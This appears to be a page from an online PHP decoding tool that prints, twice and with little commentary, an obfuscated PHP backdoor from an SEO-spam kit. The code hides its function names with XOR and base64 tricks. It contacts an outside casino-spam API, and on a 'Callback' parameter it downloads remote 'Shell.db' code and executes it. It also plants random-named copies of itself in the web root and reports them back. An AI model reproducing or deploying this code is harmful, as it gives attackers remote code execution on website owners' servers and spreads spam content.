Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php class SEM{private static function GET($X1,$X2=9){$S=('~'^'.').('_'^'>').('<'^'_').('..

Decoded Output download

<?php class SEM{private static function GET($X1,$X2=9){$S=('~'^'.').('_'^'>').('<'^'_').('+'^'`');$S=($S('H*','62'.'61'.'73'.'65'.'36'.'34'.'5f'.'64'.'65'.'63'.'6f'.'64'.'65'));$B=array($S('Y3VybA'),$S('ZXh0ZW5zaW9uX2xvYWRlZA'),$S('Y3VybF9pbml0'),$S('Y3VybF9zZXRvcHQ'),$S('Y3VybF9leGVj'),$S('Y3VybF9jbG9zZQ'),$S('YWxsb3dfdXJsX2ZvcGVu'),$S('aW5pX2dldA'),$S('ZmlsZV9nZXRfY29udGVudHM'));while(empty($X3)&&($X2--)){if($B[1]($B[0])){$X4=$B[2]();$B[3]($X4,CURLOPT_URL,$X1);$B[3]($X4,CURLOPT_RETURNTRANSFER,true);$B[3]($X4,CURLOPT_SSL_VERIFYPEER,false);$B[3]($X4,CURLOPT_FOLLOWLOCATION,true);$X3=$B[4]($X4);$B[5]($X4);}elseif($B[7]($B[6])){$X3=$B[8]($X1);}}return $X3;}private static function Expired($X1,$X2){$S=('~'^'.').('_'^'>').('<'^'_').('+'^'`');$S=($S('H*','62'.'61'.'73'.'65'.'36'.'34'.'5f'.'64'.'65'.'63'.'6f'.'64'.'65'));$B=array($S('ZmlsZV9leGlzdHM'),$S('dGltZQ'),$S('ZmlsZW10aW1l'));return ($B[0]($X1)&&(($B[1]()-$B[2]($X1))<($X2*3600)));}private static function Update($X1){$S=('~'^'.').('_'^'>').('<'^'_').('+'^'`');$S=($S('H*','62'.'61'.'73'.'65'.'36'.'34'.'5f'.'64'.'65'.'63'.'6f'.'64'.'65'));$B=array($S('SFRUUF9IT1NU'),$S('UkVRVUVTVF9VUkk'),$S('RElS'),$S('ZmlsZV9leGlzdHM'),$S('bWtkaXI'),$S('U0VNLmRi'),$S('bWQ1'),$S('Y29weQ'),$S('U0NSSVBUX0ZJTEVOQU1F'),$S('U2hlbGwuZGI'),$S('Q2FsbGJhY2s'),$S('ZmlsZV9wdXRfY29udGVudHM'),$S('QVBJ'),$S('U2hlbGwuZGI/VVJM'),$S('Q01TLmRi'),$S('TG9jay5kYg'),$S('TGlua3MuZGI'),$S('SW1hZ2VzLmRi'),$S('VGhlbWVzLmRi'),$S('Q29udGVudHMuZGI'),$S('S2V5d29yZHMuZGI'),$S('bXRfcmFuZA'),$S('dGltZQ'),$S('YmFzZV9jb252ZXJ0'),$S('c3Vic3Ry'),$S('RE9DVU1FTlRfUk9PVA'),$S('TGlua3MucGhwP1VSTD0'),$S('Q29udGVudHMvQ29udGVudHMt'),$S('ZGI/VVJM'),$S('S2V5d29yZHMvS2V5d29yZHMt'));$X2=$_SERVER[$B[0]].$_SERVER[$B[1]];$X3=$X1[$B[2]];(!$B[3]($X3))&&($B[4]($X3,0777,true));$X4=$X3.$B[6]($B[5]);(!$B[3]($X4))&&($B[7]($_SERVER[$B[8]],$X4));$X5=$X3.$B[6]($B[9]);(!empty($_GET[$B[10]]))&&($B[11]($X5,self::GET("{$X1[$B[12]]}/{$B[13]}={$X2}"),LOCK_EX)&&require_once($X5));$X6=array($B[14],$B[15],$B[16],$B[17],$B[18],$B[19],$B[20]);foreach($X6 as $X7){$X8=$X3.$B[6]($X7);switch($X7){case $B[15]:if(!self::Expired($X8,72)){$X9=$B[24]($B[23]($B[21]()*$B[22](),10,36),0,9);($B[11]($X8,$X9,LOCK_EX));($B[7]($X4,"{$_SERVER[$B[25]]}/{$X9}.php")&&self::GET("{$X1[$B[12]]}/{$B[26]}//{$_SERVER[$B[0]]}/{$X9}.php"));}break;case $B[14]:case $B[16]:case $B[18]:(!self::Expired($X8,24))&&($B[11]($X8,self::GET("{$X1[$B[12]]}/{$X7}?URL={$X2}"),LOCK_EX));break;case $B[19]:(!$B[3]($X8))&&($B[11]($X8,self::GET("{$X1[$B[12]]}/{$B[27]}".$B[21](1,10).".{$B[28]}={$X2}"),LOCK_EX));break;case $B[20]:(!$B[3]($X8))&&($B[11]($X8,self::GET("{$X1[$B[12]]}/{$B[29]}".$B[21](1,10).".{$B[28]}={$X2}"),LOCK_EX));break;default:(!$B[3]($X8))&&($B[11]($X8,self::GET("{$X1[$B[12]]}/{$X7}?URL={$X2}"),LOCK_EX));}}}public static function Init($X1){$S=('~'^'.').('_'^'>').('<'^'_').('+'^'`');$S=($S('H*','62'.'61'.'73'.'65'.'36'.'34'.'5f'.'64'.'65'.'63'.'6f'.'64'.'65'));$B=array($S('ZXJyb3JfcmVwb3J0aW5n'),$S('c2V0X3RpbWVfbGltaXQ'),$S('ZGF0ZV9kZWZhdWx0X3RpbWV6b25lX3NldA'),$S('UFJD'),$S('aGVhZGVy'),$S('Q29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTg'),$S('RElS'),$S('Q01TLmRi'),$S('bWQ1'));$B[0](0);$B[1](0);$B[2]($B[3]);$B[4]($B[5]);self::Update($X1);require_once($X1[$B[6]].$B[8]($B[7]));return CMS::Builder($X1[$B[6]]);}}$S=('~'^'.').('_'^'>').('<'^'_').('+'^'`');$S=($S('H*','62'.'61'.'73'.'65'.'36'.'34'.'5f'.'64'.'65'.'63'.'6f'.'64'.'65'));$B=array($S('QVBJ'),$S('aHR0cHM6Ly9hcGkuc2VvZXIub25lL0RhdGFiYXNlL0Nhc2lubw'),$S('RElS'),$S('L3RtcC8'),$S('QzovV2luZG93cy9UZW1wLw'),$S('UGFyYXNpdGU'),$S('bWQ1'),$S('Lw'));exit(SEM::Init(array($B[0]=>$B[1],$B[2]=>((DIRECTORY_SEPARATOR===$B[7])?$B[3]:$B[4]).$B[6]($B[5]).$B[7]))); 
 ?>

Did this file decode correctly?

Original Code

<?php class SEM{private static function GET($X1,$X2=9){$S=('~'^'.').('_'^'>').('<'^'_').('+'^'`');$S=($S('H*','62'.'61'.'73'.'65'.'36'.'34'.'5f'.'64'.'65'.'63'.'6f'.'64'.'65'));$B=array($S('Y3VybA'),$S('ZXh0ZW5zaW9uX2xvYWRlZA'),$S('Y3VybF9pbml0'),$S('Y3VybF9zZXRvcHQ'),$S('Y3VybF9leGVj'),$S('Y3VybF9jbG9zZQ'),$S('YWxsb3dfdXJsX2ZvcGVu'),$S('aW5pX2dldA'),$S('ZmlsZV9nZXRfY29udGVudHM'));while(empty($X3)&&($X2--)){if($B[1]($B[0])){$X4=$B[2]();$B[3]($X4,CURLOPT_URL,$X1);$B[3]($X4,CURLOPT_RETURNTRANSFER,true);$B[3]($X4,CURLOPT_SSL_VERIFYPEER,false);$B[3]($X4,CURLOPT_FOLLOWLOCATION,true);$X3=$B[4]($X4);$B[5]($X4);}elseif($B[7]($B[6])){$X3=$B[8]($X1);}}return $X3;}private static function Expired($X1,$X2){$S=('~'^'.').('_'^'>').('<'^'_').('+'^'`');$S=($S('H*','62'.'61'.'73'.'65'.'36'.'34'.'5f'.'64'.'65'.'63'.'6f'.'64'.'65'));$B=array($S('ZmlsZV9leGlzdHM'),$S('dGltZQ'),$S('ZmlsZW10aW1l'));return ($B[0]($X1)&&(($B[1]()-$B[2]($X1))<($X2*3600)));}private static function Update($X1){$S=('~'^'.').('_'^'>').('<'^'_').('+'^'`');$S=($S('H*','62'.'61'.'73'.'65'.'36'.'34'.'5f'.'64'.'65'.'63'.'6f'.'64'.'65'));$B=array($S('SFRUUF9IT1NU'),$S('UkVRVUVTVF9VUkk'),$S('RElS'),$S('ZmlsZV9leGlzdHM'),$S('bWtkaXI'),$S('U0VNLmRi'),$S('bWQ1'),$S('Y29weQ'),$S('U0NSSVBUX0ZJTEVOQU1F'),$S('U2hlbGwuZGI'),$S('Q2FsbGJhY2s'),$S('ZmlsZV9wdXRfY29udGVudHM'),$S('QVBJ'),$S('U2hlbGwuZGI/VVJM'),$S('Q01TLmRi'),$S('TG9jay5kYg'),$S('TGlua3MuZGI'),$S('SW1hZ2VzLmRi'),$S('VGhlbWVzLmRi'),$S('Q29udGVudHMuZGI'),$S('S2V5d29yZHMuZGI'),$S('bXRfcmFuZA'),$S('dGltZQ'),$S('YmFzZV9jb252ZXJ0'),$S('c3Vic3Ry'),$S('RE9DVU1FTlRfUk9PVA'),$S('TGlua3MucGhwP1VSTD0'),$S('Q29udGVudHMvQ29udGVudHMt'),$S('ZGI/VVJM'),$S('S2V5d29yZHMvS2V5d29yZHMt'));$X2=$_SERVER[$B[0]].$_SERVER[$B[1]];$X3=$X1[$B[2]];(!$B[3]($X3))&&($B[4]($X3,0777,true));$X4=$X3.$B[6]($B[5]);(!$B[3]($X4))&&($B[7]($_SERVER[$B[8]],$X4));$X5=$X3.$B[6]($B[9]);(!empty($_GET[$B[10]]))&&($B[11]($X5,self::GET("{$X1[$B[12]]}/{$B[13]}={$X2}"),LOCK_EX)&&require_once($X5));$X6=array($B[14],$B[15],$B[16],$B[17],$B[18],$B[19],$B[20]);foreach($X6 as $X7){$X8=$X3.$B[6]($X7);switch($X7){case $B[15]:if(!self::Expired($X8,72)){$X9=$B[24]($B[23]($B[21]()*$B[22](),10,36),0,9);($B[11]($X8,$X9,LOCK_EX));($B[7]($X4,"{$_SERVER[$B[25]]}/{$X9}.php")&&self::GET("{$X1[$B[12]]}/{$B[26]}//{$_SERVER[$B[0]]}/{$X9}.php"));}break;case $B[14]:case $B[16]:case $B[18]:(!self::Expired($X8,24))&&($B[11]($X8,self::GET("{$X1[$B[12]]}/{$X7}?URL={$X2}"),LOCK_EX));break;case $B[19]:(!$B[3]($X8))&&($B[11]($X8,self::GET("{$X1[$B[12]]}/{$B[27]}".$B[21](1,10).".{$B[28]}={$X2}"),LOCK_EX));break;case $B[20]:(!$B[3]($X8))&&($B[11]($X8,self::GET("{$X1[$B[12]]}/{$B[29]}".$B[21](1,10).".{$B[28]}={$X2}"),LOCK_EX));break;default:(!$B[3]($X8))&&($B[11]($X8,self::GET("{$X1[$B[12]]}/{$X7}?URL={$X2}"),LOCK_EX));}}}public static function Init($X1){$S=('~'^'.').('_'^'>').('<'^'_').('+'^'`');$S=($S('H*','62'.'61'.'73'.'65'.'36'.'34'.'5f'.'64'.'65'.'63'.'6f'.'64'.'65'));$B=array($S('ZXJyb3JfcmVwb3J0aW5n'),$S('c2V0X3RpbWVfbGltaXQ'),$S('ZGF0ZV9kZWZhdWx0X3RpbWV6b25lX3NldA'),$S('UFJD'),$S('aGVhZGVy'),$S('Q29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTg'),$S('RElS'),$S('Q01TLmRi'),$S('bWQ1'));$B[0](0);$B[1](0);$B[2]($B[3]);$B[4]($B[5]);self::Update($X1);require_once($X1[$B[6]].$B[8]($B[7]));return CMS::Builder($X1[$B[6]]);}}$S=('~'^'.').('_'^'>').('<'^'_').('+'^'`');$S=($S('H*','62'.'61'.'73'.'65'.'36'.'34'.'5f'.'64'.'65'.'63'.'6f'.'64'.'65'));$B=array($S('QVBJ'),$S('aHR0cHM6Ly9hcGkuc2VvZXIub25lL0RhdGFiYXNlL0Nhc2lubw'),$S('RElS'),$S('L3RtcC8'),$S('QzovV2luZG93cy9UZW1wLw'),$S('UGFyYXNpdGU'),$S('bWQ1'),$S('Lw'));exit(SEM::Init(array($B[0]=>$B[1],$B[2]=>((DIRECTORY_SEPARATOR===$B[7])?$B[3]:$B[4]).$B[6]($B[5]).$B[7])));

Function Calls

None

Variables

None

Stats

MD5 26769daea9d1bb5f39ac7ead4c24419a
Eval Count 0
Decode Time 107 ms